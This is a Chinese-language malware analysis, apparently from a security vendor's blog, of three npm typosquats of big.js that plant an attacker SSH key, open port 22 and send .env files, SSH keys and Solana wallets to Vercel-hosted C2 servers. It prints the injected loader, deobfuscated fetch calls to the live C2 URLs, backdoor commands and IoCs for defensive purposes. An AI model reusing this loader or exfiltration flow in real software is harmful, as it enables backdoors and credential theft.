目录
概要
三个恶意 npm 包 cjs-biginteger、sjs-biginteger 和 bjs-biginteger 对 big.js 进行 typosquatting(域名仿冒),通过三个一次性账户发布:ca.r.lane.es1.2.6(约 2026 年 3 月 20 日)、vanes.s.p.orit.a(4 月 7 日)和 a.l.l.a.nh.orca0.7(约 4 月 9 日)。每个包都携带了相同载荷的重新混淆副本。三个包均向 big.js 第 605 行注入了一个五行代码加载器,并拉取恶意依赖(ts-lint-builds / sjs-lint-build1 / bjs-lint-builder),其 postinstall 钩子运行相同的载荷。任一触发器都会从 C2 服务器获取攻击者的 SSH 公钥,将其追加到 ~/.ssh/authorized_keys,打开防火墙端口 22,然后向外渗送信用 SSH 密钥、.env 文件、Solana 钱包文件(id.json、config.toml)以及系统指纹信息到两个冒充 Cloudflare 的 Vercel 托管 C2 域名。
影响:
- 通过将攻击者公钥注入
~/.ssh/authorized_keys植入 SSH 后门 - 通过
sudo ufw allow 22/tcp打开防火墙端口 22 并启用防火墙 - 运行
sudo chown -R修复 SSH 目录权限 - 外泄现有 SSH 密钥、
.env文件、id.json(Solana 钱包)和config.toml文件 - 收割环境变量(
USER、USERNAME、LOGNAME、HOME) - 指纹识别系统(公网 IP、平台、CPU 信息、用户名)
- 攻击目标涵盖 Linux、macOS、FreeBSD、OpenBSD、SunOS、AIX 和 Windows
妥协指标(IoC):
| 指标 | 值 |
|---|---|
| 包 | [email protected]、[email protected] |
| 包 | [email protected] |
| 包 | [email protected] |
| 依赖 | [email protected] |
| 依赖 | [email protected]、[email protected] |
| 依赖 | [email protected] |
| 维护者 | vanes.s.p.orit.a <[email protected]> |
| 维护者 | a.l.l.a.nh.orca0.7 |
| 维护者 | ca.r.lane.es1.2.6 |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/ssh-key |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/scan-patterns |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/block-patterns |
| C2 | hxxps://cloudflareinsights[.]vercel[.]app/api/v1 |
| C2 | hxxps://cloudflarefirewall[.]vercel[.]app/api/v1 |
| 安装后脚本 | node test.js(位于 ts-lint-builds、sjs-lint-build1、bjs-lint-builder) |
| SHA-256 | 55bee3abfa26a78989baae1053a778d3b4a984d5451621a851211a45fe2a82b9([email protected]) |
| SHA-256 | 02a00a158ceedaaf7a4bf53002a74d60339d4668d463831fe218905816b72e07([email protected]) |
| SHA-256 | 9d2037fc0ad9ada672d30e17a9496cbde392c5093a9fde0b8f16d28e2e0c50c7([email protected]) |
| SHA-256 | 7bff4518f4d49ddf3d04d8167a6f5f17aed9b3703290f65cf71c61ea61f0a7bc([email protected]) |
| SHA-256 | aa36d4bee44ee1d35af0e211e8cca957044c782b177787b1181d18d6d6323037([email protected]) |
| SHA-256 | f4914c528cf92a7e97ac3b24138afb86b4cd9db6960d92ffbbff36a1fb90ead9([email protected]) |
| SHA-256 | fc095d3e6a613e27d267d80b448101ef78b02ec07dd3993c734202839015fb54([email protected]) |
| SHA-256 | 86f60a2196c3d1355efdcfee41f1549c30c6081bf6c106d11e44a64691f8ebd3([email protected]) |
| 后门 | 攻击者 SSH 密钥已追加到 ~/.ssh/authorized_keys |
| 防火墙 | sudo ufw allow 22/tcp、sudo ufw enable |
| 攻击者 SSH 密钥 | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected] |
| 归因 | 可能与 dev-protocol / Polymarket bot 活动相关(StepSecurity,2026 年 2 月) |
分析
包概述
两个版本于 2026 年 4 月 7 日在 40 分钟内登陆 npm:5.0.5 于 19:32 UTC,5.0.6 于 20:13 UTC。发布者 vanes.s.p.orit.a 拥有两个包:sjs-biginteger 和 sjs-lint-build1。
攻击者逐字复制了 big.js 的元数据:作者姓名(Michael Mclaughlin)、仓库 URL、主页、问题追踪器和资助链接:
"author": {
"name": "Michael Mclaughlin",
"email": "[email protected]"
},
"repository": {
"type": "git",
"url": "https://github.com/MikeMcl/big.js.git"
}npm 注册表显示真正的发布者:
npm view sjs-biginteger maintainers
# vanes.s.p.orit.a <[email protected]>我们从 npm 注册表下载了 [email protected],并与恶意文件进行对比。除了空白符和缩进的调整(与格式化工具处理一致)外,只有一处语义变更:顶层 IIFE 正文第 605 行的五行代码。
// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js
603a605,609
> try {
> const doc = require("sjs-lint-build1");
> doc.from_str().then(e => { }).catch(e => { })
> } catch (error) {
> }此注入在导入时运行。它为攻击者提供了独立于 postinstall 钩子的第二个执行触发器:任何随后执行 require("sjs-biginteger") 的应用程序都会再次触发载荷。
将 [email protected] 与 5.0.6(diff -rq v5.0.5/package v5.0.6/package)、big.js、big.mjs、LICENCE.md 和 README.md 进行对比,两个版本中的 package.json 是字节级相同的。只有 package.json 发生了变化:
"sjs-lint-build1": "file:../module-npm-doc-build-v2.1"
"sjs-lint-build1": "^1.0.4"5.0.5 通过本地文件系统路径引用载荷依赖(这是攻击者开发环境中的残留),因此在任何受害机器上都无法解析。41 分钟后发布的 5.0.6 才是实际运行的版本。
执行触发器
sjs-biginteger 声明了单一依赖:
"dependencies": {
"sjs-lint-build1": "^1.0.4"
}sjs-lint-build1 比 sjs-biginteger 早一分钟出现,来自同一账户。其 package.json:
{
"name": "sjs-lint-build1",
"version": "1.0.4",
"main": "index.js",
"scripts": {
"postinstall": "node test.js"
},
"dependencies": {
"axios": "^1.7.0",
"child_process": "^1.0.2",
"form-data": "^4.0.0",
"os": "^0.1.2"
}
}npm install sjs-biginteger 解析 sjs-lint-build1,安装它,并触发 postinstall 钩子:node test.js。7.2 KB 的 test.js 从 index.js(58.4 KB)导入并调用导出的 from_str_2 函数:
// sjs-lint-build1/test.js (deobfuscated structure)
const { from_str_2 } = require('.');
async function main() {
try {
await from_str_2();
} catch (e) {}
}
main();index.js 导出两个入口点,两者都使用略有不同的范围触发相同的载荷基础设施:
| 导出 | 调用者 | 范围 |
|---|---|---|
from_str_2 | test.js 安装后脚本 | 由 C2 提供的模式驱动的大范围主目录扫描 |
from_str | big.js IIFE 在 require() 时调用 | 对 process.cwd() 的定向扫描加上相同的大范围扫描 |
运行时路径(from_str)在大范围扫描之前添加了一个前置步骤,遍历当前工作目录中的 id.json、config.toml、Config.toml、env 和 .env。这可以捕获在本地开发期间导入该包的开发者。无论他们正在开发什么项目,其 .env 会首先被外泄。
混淆
两个文件都使用自定义的类 base91 字符串编码,具有 35 种不同的混淆字母表。每个函数正文嵌入自己的字母表和解码器;没有单一密钥可以解码所有字符串。index.js 中的查找表包含 299 个编码条目,通过运行时多个解码器函数解析。
混淆示例:
// sjs-lint-build1/index.js (original obfuscated form)
const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...];
function HRKFas(PzH00eY) {
var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>...";
// base91 decode using shuffled alphabet
}我们用 Python 重放了 basE91 解码器,针对共享查找表,将每个调用点与源顺序中最接近的 91 字符字母表配对。大约一百个唯一条目解码为有意义的标识符:URL、shell 命令、属性名、文件路径。这足以重建完整攻击面,而无需运行该包的任何一行代码。
恶意载荷
index.js 中的载荷导入了六个 Node.js 模块:
// sjs-lint-build1/index.js (extracted require() calls)
require('axios');
require('child_process');
require('form-data');
require('fs');
require('os');
require('path');阶段 1:C2 配置获取
三个并行的 fetch() 请求在启动时发起:
// sjs-lint-build1/index.js (deobfuscated)
const [r1, r2, r3] = await Promise.all([
fetch('https://cloudflareinsights.vercel.app/api/ssh-key'),
fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'),
fetch('https://cloudflareinsights.vercel.app/api/block-patterns'),
]);
const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);msg 字段来自 /api/ssh-key,携带攻击者的公 SSH 密钥。scanPatterns 和 blockPatterns 控制要枚举哪些目录以及要跳过哪些目录。载荷在运行时从 C2 获取此配置,因此攻击者可以在不重新发布包的情况下重新定位受害者。下一次安装时会生效新的外泄模式。
在 2026-04-09 进行分析时,端点是活跃的,返回了:
{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected]" }密钥注释 [email protected] 是刻意的社会工程。Solana 开发者在例行审计期间检查 ~/.ssh/authorized_keys 时,可能会将其误认为是 Polymarket 支持集成并保留它。这就是攻击者想要的画像。
阶段 2:SSH 后门植入
载荷检查 ~/.ssh 是否存在,如不存在则创建,并将攻击者的密钥追加到 authorized_keys:
// Decoded strings from index.js showing SSH backdoor logic
[0x9b] HOME
[0x9c] /.ssh
[0x9d] existsSync
[0x9e] mkdirSync
[0x9f] mode
[0xa2] authorized_keys
[0xa6] appendFileSync
[0xa7] sudo chown -R
[0xa8] sudo ufw enable
[0xab] sudo ufw allow 22/tcp代码路径:
- 读取
process.env.HOME并追加/.ssh - 如果不存在,使用适当模式创建该目录(
fs.mkdirSync) - 将攻击者的 SSH 密钥(从 C2 获取)追加到
authorized_keys(通过fs.appendFileSync) - 运行
sudo chown -R修复 SSH 目录的所有权 - 运行
sudo ufw allow 22/tcp通过防火墙打开 SSH 端口 - 运行
sudo ufw enable激活防火墙规则
CI/CD 环境和 Docker 容器以 root 身份运行或使用无密码 sudo。如果这些 sudo 调用成功,攻击者就拥有了持久的 SSH 访问权限。
阶段 3:数据收集
载荷根据 process.platform 进行分支,覆盖六种 Unix 变体(linux、darwin、freebsd、openbsd、sunos、aix)和 Windows:
// Windows-specific decoded strings
[0x84] wmic logicaldisk get name
[0x8b] ^[A-Z]:$
[0x90] C:\Users\在 Windows 上,wmic logicaldisk get name 枚举驱动器,然后载荷遍历 C:\Users\ 查找凭证文件。在 Unix 上,os.homedir() 设置起点。
目标文件:
| 目标 | 解码字符串 |
|---|---|
| SSH 密钥 | /.ssh 目录内容 |
| 环境文件 | .env |
| Solana 钱包 | id.json |
| 应用配置 | config.toml、Config.toml |
| 环境变量 | USER、USERNAME、LOGNAME、HOME |
| 系统信息 | os.homedir()、os.cpus()、公网 IP |
载荷使用 fs.readdirSync(withFileTypes)和 path.join 遍历目录,遵循来自 C2 的 scanPatterns 和 blockPatterns。
阶段 4:外泄
载荷通过 axios.post 将收集的文件上传到两个端点:
// Decoded exfiltration strings
[0xc4] basename
[0xc5] file.bin
[0xc6] post
[0xc8] Content-Type
[0xc9] application/octet-stream
[0xca] Content-Disposition
[0xcb] attachment; filename="
[0xd7] https://cloudflarefirewall.vercel.app/api/v1
[0x124] https://cloudflareinsights.vercel.app/api/v1每个文件作为二进制 application/octet-stream 发送,带有 Content-Disposition 头。每个上传还携带元数据块:
// Exfiltration metadata fields
[0xf8] username
[0x100] created
[0x101] publicIp
[0x102] platform
[0xff] stringify
[0xfe] meta载荷将用户名、公网 IP、平台和时间戳 JSON 序列化,然后将此块附加到每次上传。两个 C2 域名为攻击者提供冗余:cloudflareinsights[.]vercel[.]app 和 cloudflarefirewall[.]vercel[.]app。
C2 基础设施
两个 Vercel 托管域名,均以通过流量日志的随意检查的方式命名:
| 域名 | 角色 |
|---|---|
cloudflareinsights[.]vercel[.]app | 配置传递(/api/ssh-key、/api/scan-patterns、/api/block-patterns)和数据外泄(/api/v1) |
cloudflarefirewall[.]vercel[.]app | 次要外泄端点(/api/v1) |
Vercel 的免费层不需要身份验证,这使其成为一次性 C2 基础设施的常见选择。cloudflareinsights 和 cloudflarefirewall 名称模仿合法的 Cloudflare 产品。
归因
sjs-biginteger 行为与 StepSecurity 于 2026-02-26 记录的 dev-protocol / Polymarket 交易机器人供应链攻击高度重叠。以下指标指向同一攻击者或密切合作者的后续波次。仅凭静态工件无法证明操作者身份。
| 指标 | 此活动(sjs-biginteger,2026-04-07) | StepSecurity 波次(2026-02-26) |
|---|---|---|
| Typosquat 目标 | big.js | big.js(ts-bign)、bignumber.js(big-nunber) |
| Dropper → 载荷 | sjs-biginteger → sjs-lint-build1 | ts-bign → lint-builder、big-nunber → levex-refa |
| 执行触发器 | postinstall: node test.js | postinstall: node test.js |
| 入口导出 | from_str() | from_str() |
| SSH 后门序列 | sudo chown -R、sudo ufw enable、sudo ufw allow 22/tcp | 相同 |
| 目标文件 | id.json、config.toml、Config.toml、.env、env | id.json、config.toml、Config.toml、.env、*.env |
| Commander C2 | cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns,ssh-key} | cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns} |
| 文件外泄 C2 | cloudflarefirewall[.]vercel[.]app/api/v1 | cloudflareguard[.]vercel[.]app/api/v1 |
| 外泄元数据 | 预置到文件 | 预置到文件 |
| 人物角色 | 攻击者 SSH 密钥注释中的 [email protected] | 通过 "Polymarket copytrading bot" GitHub 仓库传递 |
指挥主机 cloudflareinsights[.]vercel[.]app 在两个波次中逐字节重用,每个端点路径(/api/v1、/api/scan-patterns、/api/block-patterns)都匹配。文件外泄主机名轮换了(cloudflareguard → cloudflarefirewall),但保持了相同的命名模式:冒充 Cloudflare 产品的 Vercel 子域。
两个波次之间有两处变化:
- 投递向量。2 月波次通过被劫持的
dev-protocolGitHub 组织播撒;这一波次是由一次性账户直接发布的 npm typosquat。这符合可预测的演进:一种向量暴露后,切换渠道但保留载荷。 - 混淆器。2 月样本使用 J2TEAM 风格的混淆器;
sjs-lint-build1使用作用域嵌套的 basE91 方案,在index.js中有 35 种不同的字母表,每个字母表作用域限定在自己的函数体中。这可能规避了在早期样本上训练的签名。
sjs-lint-build1 包名也值得注意:它呼应了早期的 lint-builder 载荷名。包命名在两个波次之间没有随机化——操作者似乎在迭代一个约定。
狩猎支点。 任何联系 cloudflareinsights[.]vercel[.]app 的包都应被视为此集群的一部分,无论其 npm 元数据如何。[email protected] SSH 密钥注释是一个持久的基于主机的 IoC,值得在整个 Solana 开发者集群中发出警报。
并行波次:bjs-*
第二波次出现在 sjs-* 包约两天后,来自不同的一次性账户:a.l.l.a.nh.orca0.7。模式相同:[email protected] typosquat big.js 并拉取 [email protected]。
dropper package.json 逐字复制相同的 big.js 元数据(作者、仓库、版本 5.0.6、^1.0.4 依赖范围)。第 606 行的 big.js 注入除依赖名称外字节级相同:
// diff sjs-biginteger-5.0.6/big.js bjs-biginteger-5.0.6/big.js
606c606
< const doc = require("sjs-lint-build1");
---
> const doc = require("bjs-lint-builder");载荷包([email protected] 和 [email protected])声明相同的四个依赖(axios、child_process、form-data、os)并触发相同的 postinstall: node test.js 钩子。两个载荷包是字节级相同的:相同的 index.js(63,658 字节),相同的 test.js。发布载荷的两个副本使攻击者在其中一个被移除时有备用方案。
载荷本身被重新混淆了。变量名、编码字符串表和 basE91 字母表与 sjs-* 版本不同。index.js 从 58.4 KB 增长到 63.6 KB。但结构未变:作用域嵌套的 basE91 解码、相同的 from_str / from_str_2 导出约定,以及 require(".") 在 test.js 中的相同解析。
| 属性 | sjs-* 波次 | bjs-* 波次 |
|---|---|---|
| Dropper 版本 | 5.0.6 | 5.0.6 |
| big.js 注入 | 第 606 行,require("sjs-lint-build1") | 第 606 行,require("bjs-lint-builder") |
| 调用的导出 | doc.from_str() | doc.from_str() |
| 载荷依赖 | axios、child_process、form-data、os | 相同 |
| 安装后脚本 | node test.js | node test.js |
| 载荷大小(index.js) | 58,387 字节 | 63,658 字节 |
| 编码字符串数 | ~433 | ~405 |
| 发布者 | vanes.s.p.orit.a | a.l.l.a.nh.orca0.7 |
| 载荷副本数 | 1(sjs-lint-build1) | 2(bjs-lint-builder、bjs-lint-builders) |
账户命名模式(类似混淆名称的点分字符串)和包命名约定([prefix]-biginteger → [prefix]-lint-build*)在两个波次中保持一致。操作者在轮换发布者账户的同时重用相同的工具链。
早期波次:cjs-*
第三个波次早于 sjs-* 和 bjs-*。账户 ca.r.lane.es1.2.6 大约在 2026 年 3 月 20 日发布了 [email protected] 及其载荷依赖 [email protected],大约在 sjs-* 包的两周前。
dropper 结构相同:相同的 big.js 元数据欺骗、相同的第 606 行五行注入调用 doc.from_str()、相同的 postinstall: node test.js 钩子、相同的四个载荷依赖(axios、child_process、form-data、os)。唯一的 big.js 差异:
// diff sjs-biginteger-5.0.6/big.js cjs-biginteger-5.0.5/big.js
606c606
< const doc = require("sjs-lint-build1");
---
> const doc = require("ts-lint-builds");与后续波次有两个明显区别:
混淆器不同。 sjs-* 和 bjs-* 载荷使用作用域嵌套字母表的 basE91 方案。cjs-* 载荷使用 Function() 构造函数包装器,带有生成器函数(function*)和 switch/while 控制流扁平化。index.js 为 189 KB(对比后期波次的 58-64 KB),test.js 为 27 KB(对比 ~7 KB),编码字符串表包含 712 个条目(对比 405-433)。这与波次之间的混淆器轮换一致。
载荷名称打破了前缀约定。 cjs-biginteger 依赖 ts-lint-builds,而非 cjs-lint-build*。后续波次收紧了命名:sjs-biginteger → sjs-lint-build1、bjs-biginteger → bjs-lint-builder。操作者在第一波次之后改进了模式。
| 属性 | cjs-* 波次(约 3 月 20 日) | sjs-* 波次(4 月 7 日) | bjs-* 波次(约 4 月 9 日) |
|---|---|---|---|
| Dropper 版本 | 5.0.5 | 5.0.6 | 5.0.6 |
| 载荷依赖 | ts-lint-builds | sjs-lint-build1 | bjs-lint-builder |
| 混淆器 | 生成器 + 控制流扁平化 | basE91,作用域嵌套字母表 | basE91,作用域嵌套字母表 |
| 载荷大小(index.js) | 189,399 字节 | 58,387 字节 | 63,658 字节 |
| 编码字符串数 | ~712 | ~433 | ~405 |
| 发布者 | ca.r.lane.es1.2.6 | vanes.s.p.orit.a | a.l.l.a.nh.orca0.7 |
从 cjs-* 到 sjs-* / bjs-* 的演进显示了操作者迭代其工具链的过程:切换混淆器、缩小载荷大小、在波次之间标准化包命名约定。
动态分析
我们在沙箱化 npm install 期间运行基于 eBPF 的动态分析,捕获系统调用事件和网络连接。[email protected] 的沙箱执行确认了静态分析中发现的两项行为。
系统调用事件
postinstall 钩子期间触发了两个规则。进程链 sh -c node test.js 匹配 sjs-lint-build1 安装后脚本,在沙箱容器内以 root 身份运行:
sjs-biginteger-dynamic-analysis-events.csv
| analysis_id | rule | output | created_at | |
|---|---|---|---|---|
| 1 | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 读取 ssh 信息 | 2026-04-07T20:21:48.007131140+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh pcmdline=sh -c node test.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name= | April 7, 2026, 8:21 PM |
| 2 | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 添加 ssh 密钥到 authorized_keys | 2026-04-07T20:21:47.984674590+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name= | April 7, 2026, 8:21 PM |
2 行
| 4 列 |
"添加 ssh 密钥到 authorized_keys" 在 20:21:47 UTC 触发,当时 node test.js 通过 /root/.ssh/authorized_keys 系统调用打开 openat,确认了静态分析中发现的 appendFileSync 调用。**"读取 ssh 信息"** 在 23 毫秒后触发,当时同一进程读取 /root/.ssh 目录以进行外泄。
请注意顺序:载荷首先写入攻击者的密钥,然后读取现有密钥。后门外泄优先。
网络连接
沙箱捕获了 npm install 生命周期期间的所有出站 IP 连接,包括合法的 npm 注册表流量以及恶意 C2 通信:
sjs-biginteger-ip-address-capture.csv
| created_at | analysis_id | ip_address | port | |
|---|---|---|---|---|
| 1 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 0 |
| 2 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.8.34 | 0 |
| 3 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.11.34 | 0 |
| 4 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.4.34 | 0 |
| 5 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.2.34 | 0 |
| 6 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.10.34 | 0 |
| 7 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.5.34 | 0 |
| 8 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.9.34 | 0 |
| 9 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.7.34 | 0 |
| 10 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.1.34 | 0 |
| 11 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.3.34 | 0 |
| 12 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.0.34 | 0 |
| 13 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 14 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 15 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 16 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 17 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 18 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 19 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 20 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 21 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 22 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 23 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 24 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 25 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 26 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 27 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 104.16.6.34 | 443 |
| 28 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 0 |
| 29 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.3 | 0 |
| 30 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 0 |
| 31 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.67 | 0 |
| 32 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 443 |
| 33 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 443 |
| 34 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 0 |
| 35 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.67 | 0 |
| 36 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.67 | 443 |
| 37 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 0 |
| 38 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 216.198.79.3 | 0 |
| 39 | April 7, 2026, 8:21 PM | 01KNMSKJEXTGQHBQ69YS5CCQ08 | 64.29.17.3 | 443 |
39 行
| 4 列 |
此表包含安装期间的所有连接,而非仅恶意流量。npm 注册表解析、DNS 查询和包下载会产生自己的连接。104.16.x.34 范围属于 Cloudflare,它为 Vercel(C2 主机)和 npm 注册表(registry.npmjs.org)提供前端。仅通过 IP 分离 C2 流量和合法 npm 流量是不可能的,因为两者都通过 Cloudflare 路由。64.29.17.x 和 216.198.79.x 地址可能是 DNS 解析器或其他 CDN 边缘节点。
网络数据确实显示安装产生了超出正常 big.js 安装所需的 HTTPS 连接(443 端口)到 Cloudflare 前端服务。一个没有运行时网络依赖的包产生了 15+ 个出站 HTTPS 连接,这是突出的。结合显示 SSH 文件访问的系统调用事件,连接量与多阶段攻击匹配:配置获取、文件收集、上传。
结论
authorized_keys 注入、防火墙操作和所有权变更建立了持久远程访问,除非移除注入的密钥,否则即使轮换凭证也会持续生效。如果你安装了这个包:
- 检查
~/.ssh/authorized_keys中是否有未识别的密钥并移除它们 - 检查防火墙规则中是否有意外的端口 22 允许规则
- 轮换存储在
.env、id.json和config.toml文件中的所有 SSH 密钥和凭证 - 审计可能以提升权限安装了此包的 CI/CD 系统
参考
-
vet
-
malware
-
npm
-
supply-chain
-
credential-theft
SafeDep 博客最新内容
关注以获取开源安全与工程的最新更新和见解